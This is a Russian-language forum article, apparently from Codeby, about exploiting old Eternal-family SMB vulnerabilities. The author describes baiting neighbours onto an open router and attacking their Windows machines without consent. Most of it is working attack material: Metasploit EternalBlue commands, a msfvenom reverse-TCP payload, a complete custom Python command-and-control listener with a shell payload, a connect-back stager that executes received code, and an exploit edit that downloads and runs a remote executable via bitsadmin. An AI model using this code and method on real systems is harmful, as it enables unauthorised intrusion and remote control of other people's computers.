Статья Охота на старые уязвимости. Каковы шансы быть взломанным инструментами прошлого

1.jpg

Привет, Codeby. Меня зовут Трубочист и это моя первая статья на портале, не судите строго. В последнее время в новостях то и дело можно заметить разные заметки о взломах и других действиях хакеров, но о критических уязвимостей нулевого дня, способных поставить под удар безопасность мира - ни слова.

Прочитав заметки от @Johan Van и @DeathDay, меня посетила интересная мысля. Последний автор использовал давно забытую уязвимость, чтобы получить доступ к устройству обманщика. А первый занимался написанием слушателя на Python, который мог принимать как раз такие соединения без участия Metasploit.


А ты никогда, дорогой читатель, не думал, что современные методы никак не требуют современных решений? Вдруг злоумышленники все это время использовали давно забытые методы и пути... Так ли это на самом деле? В этой заметке как раз и разберемся.

Дисклеймер

Все описанные способы и мои манипуляции - это исключительно плод фантазий. Информация предоставлена исключительно в рамках ознакомительного материала и не несет побуждения к действию. Автор, как и портал, не несет никакой ответственности за то, с каким умыслом будут использованы способы представленные ниже. Все лишь для того, чтобы ты, дорогой читатель, мог защитить себя.


План на статью:
  1. Уязвимости и эксплоиты слитые АНБ
  2. Кастомизируем полезную нагрузку
  3. Полноценная атака в локальной сети

Немного об Eternal

The Shadow Brokers — таинственный человек или группа, которые в 2017 году опубликовали гигабайт эксплойтов программного обеспечения Агентства национальной безопасности. Но самый значимый дамп содержит мощные эксплойты и хакерские инструменты, предназначенные для большинства версий Microsoft Windows, а также доказательства изощренных взломов банковской системы SWIFT и нескольких банков по всему миру.

Да, именно так начиналась эпоха разрушений 2017 года, как уже было сказано, выгружено было множество эксплоитов, но самым резонансным стал только один под кодовым названием EternalBlue.

Эксплоит использует ошибку удаленного выполнения кода в последней версии от начала 2017 года Windows 2008 R2 с использованием блока сообщений сервера и протоколов NetBT. Многие придерживаются ошибочного мнения, что была опубликована лишь одна уязвимость и она стала причиной коллапса. Как видишь, дорогой читатель, сам по себе Блю представляет опасность лишь для Server R2.

Еще один хакерский инструмент, известный как Eternalromance , содержит простой в использовании интерфейс и «гладкий» код. Он использует порты 139 и 445 для повышения привилегий в системе. Допустим, у тебя есть доступ через Шелл к компьютеру на Win Server 2008, но нет достаточного прав, чтобы выполнить требующиеся манипуляции. Этот инструмент тебе пригодится.

Каждую описывать детально не буду, а просто опубликую список слитых на то время утилит:

  • ETERNALROMANCE — Эксплойт удаленного повышения привилегий (SYSTEM) (от Windows XP до Windows 2008 через TCP-порт 445)
  • ENTERNALCHAMPION, ETERNALSYSTEM — Удаленный эксплойт до Windows 8 и 2012
  • ETERNALBLUE — Удаленный эксплойт через SMB и NBT (от Windows XP до Windows 2012)
  • EXPLODINGCAN — эксплойт IIS 6.0 для Windows 2003
  • EWORKFRENZY — эксплойт Lotus Domino 6.5.4 и 7.0.2
  • ETERNALSYNERGY — Windows 8 и Windows Server 2012
  • FUZZBUNCH — Exploit Framework (по аналогии с Metasploit) для эксплойтов.
Какие из эксплоитов в сегодняшних реалиях могут быть опасны?

Несомненно все. Люди зачастую пренебрегают собственной безопасностью и очень часто не уделяют должного внимания важности защиты. От чего и страдают сами.

О том, как будут проходить тесты: это вымышленная история 100%

Так как я живу в многоквартирном доме и для объективности заметки хочется проводить все тесты на реальных примерах, плюс мне будет немного проще действовать в локальной сети. Это поможет избежать лишней головной боли. К этому вопросу я решил подойти немного-немало, но креативно.

На протяжении целой недели, мой роутер работал без пароля, открывая всем доступ к своему высокоскоростному соединению. Но для большего эффекта пришлось немного напакостить, чтобы интернет у всех остальных жителей немного, но стал хуже.

В итог удалось собрать два десятка халявщиков. Использовать их устройства и будем для сбора статистики.

Анализ подключившихся

По моему скромному мнению, читатель, те кто любят бесплатное - это или супер зажиточные персоны, экономящие каждую копейку, или те люди, которым действительно нужно экономить во имя выживания.

Что те, что другие не выделяются какой-то современностью, поэтому в нашем распоряжении оказалось отличное поприще: здесь и ноутбуки 2010 года и офисные ПК с ХР.

Сканируем порты: ищем идеальную жертву

Так как в нашей локальной сети теперь огромное количество устройств… Используйте в качестве пособия по типу “Общественные сети и их опасность”. Давайте проверим, все доступные, используя команду netdiscover в Кали:

C:
netdiscover

Возьмем первый попавшийся IP адрес и соберем максимально большое количество информации. Не смотря на то, что моей основной целью есть показать, что семейство уязвимостей Этернал до сих пор живо, было бы неплохо и наглядно продемонстрировать насколько обычные люди беззащитны.

В качестве атакующей тачки будет выступать виртуальный образ Kali Linux последней версии, уточню, если кого-то интересует.

Запустим обычный скан на открытые порты :
Код:
sudo nmap 192.168.42.130

Screenshot_7.png


И ничего особо удивительного не происходит, первое же устройство имеет огромное количество открытых портов, но нас больше всего интересуют следующие:

135, 139 и 445 и 3389.

На этом этапе уже есть 90% уверенность в том, что любой эксплойт из серии Этернал здесь сработает, но давайте копнем поглубже.

Сперва определим тип операционной системы, используя все тот же nmap:
Код:
nmap  -A 192.168.42.130

Ответ скрипта дает нам следующую информацию:

OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SuroviyLeha777
| NetBIOS computer name: \xD0\x8F\xD0\x89\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-09-05T13:46:15+03:00

Увидев это - SuroviyLeha777 , мне как-то расхотелось что-либо тестировать на нем, но отступать уже поздно.

Если вы не любите консоли, как и я, то вполне можно использовать Zenmap, который подробно все покажет и расскажет, мы же двигаемся дальше.

Немного итогов

Исключительно после скана портов у нас уже есть две уязвимости, которые могут скомпрометировать устройство - 445 - Eternal и на порту 5375 - CVE-2009-4737, которая позволяет выполнять произвольный код, к ней мы вернемся чуть позже.

Ищем все уязвимости системы

Покажу два способа. Первый будет связан с Nmap и установкой для него скриптов, второй же попроще - Nessus.

Для установки скриптов в Nmap, нам сперва нужно найти директорию, где они хранятся, у меня это - /usr/share/nmap/scripts/, поэтому переходим по нужному пути и просто устанавливаем репозиторий Nmap Vultures:
Код:
cd /usr/share/nmap/scripts/
git clone  https://github.com/vulnersCom/nmap-vulners.git

Screenshot_8.png


Следом обновляем список скриптов Nmap следующей командой:
Код:
nmap --script-updatedb

А теперь запустим сканирование:
Код:
nmap -sV --script vulners --script-args mincvss=5.0 192.168.42.130

В моем случае это почему-то не сработало, поэтому воспользуюсь Нессусом. В общей сложности 28 критических уязвимостей и если смотреть по хронологии, то большинство уходят далеко за 2015 год. Такое чувство, что это вовсе не должно существовать в нашем мире, но это почему-то есть.

А сейчас обратимся к Метасплоиту, чтобы убедиться, что хост действительно уязвим.
Код:
msfconsole
search EternalBlue
use 3
set rhost 192.168.42.130
run


Хост выглядит уязвимым. Здесь даже не придется особо хитрить, но мне захотелось.
Так как у нас есть открытый РДП порт, мы можем проверить наличие гостевой учетной записи. Не знаю, зачем понадобилось оставлять включенным протокол удаленного доступа, но и размышлять особо не стану. Наперво, я проверил существует ли эта учетка, затем меня посетила очень интересная мысля.

В нашем распоряжении имеется достаточно информации, чтобы провести некую атаку, безусловно, это можно было бы сделать просто через Метасплоит. Но что если нашей целью будет не получение удаленного доступа, а например, выгрузка какого-то вредоноса и его автоматический запуск?

Подобным образом, кстати, попадал на устройства всем нам знакомый WannaCry.

Допустим, что у нашей жертвы имеется какой-то простенький, старенький антивирус и использовать обычную полезную нагрузку из Венома не представляется возможным.

Так как раньше я не делал ничего подобного, для примера возьмем уже готовую Веномовскую PL и от неё будем что-то плясать.

Генерируем нагрузку на Питоне:
Код:
msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 > ~/test.py

А теперь давайте посмотрим её изнутри:
Код:
nano test.py

И узрим мы следующее, если упустим расшифровку exec() из base64:
Код:
import socket,struct,time

for x in range(10):

    try:

        s=socket.socket(2,socket.SOCK_STREAM)

        s.connect(('127.0.0.1',1234))

        break

    except:

        time.sleep(5)

l=struct.unpack('>I',s.recv(4))[0]

d=s.recv(l)

while len(d)<l:

    d+=s.recv(l-len(d))

exec(d,{'s':s}


Самое важное для нас - это то, что здесь присутствует импорт трех стандартных модулей - socket, struct, time . В принципе здесь просто описаны инерции подключений с тайм-аутом в 5 секунд.

Но это не самое важное, пора бы глянуть, что в коде, который посылает пейлоаду сервер. Для этого нам понадобится запустить Handler MSF с ожиданием полезной нагрузки python/meterpreter/reverse_tcp:
Код:
msfconsole
 use exploit/multi/handler
 set PAYLOAD  python/meterpreter/reverse_tcp
 set LHOST
 set LPORT
run

Чтобы получить тот самый код, нам понадобится библиотека pwntools:
Код:
pip install pwntools

Теперь пропишем следующий код:
Код:
import pwn
s = pwn.connect(str"{ip 127.0.0.1}", int(1234))
s.interactive()

В итоге получаем около 1300 строк кода от сервера, который, кстати, даже сейчас мало чем определяется.

Screenshot_10.png


Как ты, дорогой читатель, мог понять, нас интересует именно кастомный сервер, который и будет отправлять вот этот вирусный код на полезную нагрузку.

Расписывать смысла не вижу, так как статья совершенно не о том, просто оставлю свои каракули здесь:
Код:
import socket

import threading



class Server:

    def __init__(self, ip: str, port: int, max_connect: int):

        self.__server_ip = ip

        self.__server_port = port

        self.__server_max_connect = max_connect

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.clients_list = {}

        self.__clients_counter = 0

        self.run = True



    def start_server(self) -> str:

        self.socket.bind((self.__server_ip, self.__server_port))

        self.socket.listen(self.__server_max_connect)

        return f'[*] server is running on ip {self.__server_ip} and port {self.__server_port}'



    def waiting_connection(self):

        while self.run:

            __client_connect, __client_data = self.socket.accept()

            print(f'[+] Created a session with {__client_data[0]} \n')

            __client_connect.settimeout(10)

            __client_connect.send(bytes(payload_output_server, encoding='utf-8'))

            self.append_clients_list(__client_connect, __client_data)



    def append_clients_list(self, client_connect: object, client_data: list):

        self.__clients_counter += 1

        self.clients_list[f'session {self.__clients_counter}'] = {'session name': f'session {self.__clients_counter}',

                                                                  'ip': client_data[0],

                                                                  'socket id': client_data[1],

                                                                  'client connect': client_connect}





class HandlerCommand:

    def __init__(self):

        self.set_command = ''

        self.clients_list = programm.new_server.clients_list



    def choice_command(self):

        self.set_command = input('$: ')



        print(self.process_command(command=self.set_command))



    def process_command(self, command: str = 'help') -> str:

        result_command = None



        if command.lower() == 'list' or command.lower() == 'sessions':

            result_command = self.get_active_sessions()



        elif len(command.split(' ')) == 2 and command.lower().split(' ')[0] == 'get' and command.split(' ')[

            1].isdigit():

            self.get_shell_sessions(command.split(' ')[1])



        elif command.lower() == 'help':

            result_command = """Commands:

            list or sessions - displays a list of active connections.

            get {session number} - returns remote access over the session of the corresponding number.

            help - displays this information.

            """

        else:

            result_command = '[!] Command not found ! Enter "help" to get a list of all commands.'



        return result_command



    def get_active_sessions(self) -> str:

        __list_active_session = []

        try:

            for client in self.clients_list:

                try:

                    self.clients_list.get(client).get('client connect').send(bytes('beacon', encoding='utf-8'))

                    __list_active_session.append(self.clients_list.get(client).get('session name'))

                except ConnectionAbortedError:

                    self.clients_list.pop(client)

                    continue

                except ConnectionResetError:

                    self.clients_list.pop(client)

                    continue

        except RuntimeError:

            pass

        result = '-------- ACTIVE SESSIONS --------' + '\n' + ' '.join(__list_active_session)



        return result



    def get_shell_sessions(self, session_number):

        while True:

            shell_command = input(r'command: ')



            if shell_command.lower() == 'q' or shell_command.lower() == 'quit':

                self.choice_command()

                break

            else:

                self.clients_list.get(f'session {session_number}').get('client connect').send(

                    bytes(shell_command, encoding='utf-8'))



                try:

                    result_shell_command = self.clients_list.get(f'session {session_number}').get(

                        'client connect').recv(1024)

                except socket.timeout:

                    print('[!] Command failed. Time out.')

                    continue

                except ConnectionAbortedError:

                    self.choice_command()

                    break



                try:

                    result_shell_command = result_shell_command.decode(encoding='utf-8')

                except UnicodeDecodeError:

                    result_shell_command = result_shell_command.decode(encoding='windows-1251')

                print(result_shell_command)





class RunProgram:

    def __init__(self, ip_address, port_number):

        self.new_server = Server(ip=ip_address, port=port_number, max_connect=10)

        self.run_background_listener = threading.Thread(target=self.new_server.waiting_connection)



    def main(self):

        print(self.new_server.start_server())

        self.run_background_listener.start()

        back = self.run_background_listener.daemon

        if not back:

            pass





payload_output_server = """

import os

import subprocess

while True:

    try:

        a = s.recv(4096)

    except ConnectionResetError:

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((LHOST, LPORT))

        a = s.recv(4096)



    a = a.decode(encoding='utf-8')

    command = a



    if command.lower() == 'beacon':

        continue



    try:

        if command.lower().split(' ')[0] == 'cd':

            os.chdir(command.split(' ')[1])

    except IndexError:

        pass

    except FileNotFoundError:

        s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))

        continue



    except PermissionError:

        s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))



    if len(command) > 0:

        a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,

                             stdin=subprocess.PIPE)

        out_bit = a.stdout.read() + a.stderr.read()

        try:

            convert_out_bit_str = out_bit.decode(encoding='utf-8')

        except UnicodeDecodeError:

            convert_out_bit_str = out_bit.decode(encoding='windows-1251')

        s.send(bytes(convert_out_bit_str, encoding='utf-8'))



    else:

        continue



"""



if __name__ == '__main__':

    programm = RunProgram(ip_address='172.18.12.13', port_number=4545)

    programm.main()

    handler = HandlerCommand()

    while True:

        handler.choice_command()



А сама полезная нагрузка будет выглядеть очень прозаично:



import socket

LHOST: str = "192.168.42.1"

LPORT: int = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((LHOST, LPORT))

exec(s.recv(4096).decode(encoding='utf-8'))


А теперь обратимся к той самой модификации эксплоита, что-то подобное показывал уже DeathDay, но мне охота использовать это в другом ключе немного. Если что, полезная нагрузка - это лишь пример, в идеале можно загрузить что угодно от кейлоггера, до батника, который просто будет выключать систему. ( инфа для троллей).

Половину текста я упущу и перейдем сразу к редактированию самого скрипта. Просто переходим по адресу /usr/share/exploitdb/exploits/windows/remote/ и копируем нужный эксплоит.

Естественно вводим данные гостевой учетной записи и сразу же переходим к этому фрагменту кода, который отвечает за создание текстового документа:


Ca5EXZZQVrYL9zan3pde5sUFDxZhe-8JZKZ1Z-UazF7S3F3BcW4zDXmMjoKjYofxHgH7eMvfmEfSNAWwMyztx1uqfoPp91rnbXkAzPIfpJzBqcd8SyqW8CEumj9A2QCQr5bEbbJ6I1nePcghYpEACvE-ATx_ngyeQN5ME8DLItj9CpalYJtgTSVfLw


Хотелось просто указать путь, но, к сожалению, так не пройдет. DeathDay показал вариант с использованием собственного сервера Apache, но чем плох вариант выгрузить файл в интернет и вставить туда ссылку? Ничем.

Поэтому сделаем вот так:
Код:
bitsadmin /transfer pwn /download https://dropmefiles/python.exe C:/user/python.exe

И закончим строчкой, которая запустит выполнение нашего файла:
Код:
service_exec(conn, r'cmd /c /python.exe')

Здесь я упустил установку Pipe, если что. Теперь запустим наш кастомный слушатель:
Код:
python3 server.py

Screenshot_9.png


И запускаем эксплуатацию:
Код:
python exploit.py 192.168.42.130  netlogon

Сервер открывает нам обратную оболочку.

Далее я провел несколько тестов с другими машинами и представляю следующие результаты: всего подходящих под критерии для успешного проникновения было 14, 10 из них уязвимы для эксплоита, которому уже сверх пяти лет.

Выводы

Эта статья была написана не как побудитель к действию, этой заметкой я хочу обратить внимание обычных пользователей на то, что они закрывают глаза на старое, боясь только нового. Правда, как показала практика, совсем не того они опасаются.

Уязвимость, которая давным-давно изжила себя по мнению большинства, остается не только актуальной, но и опасной. Спасибо за внимание. by trubochist. :)
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!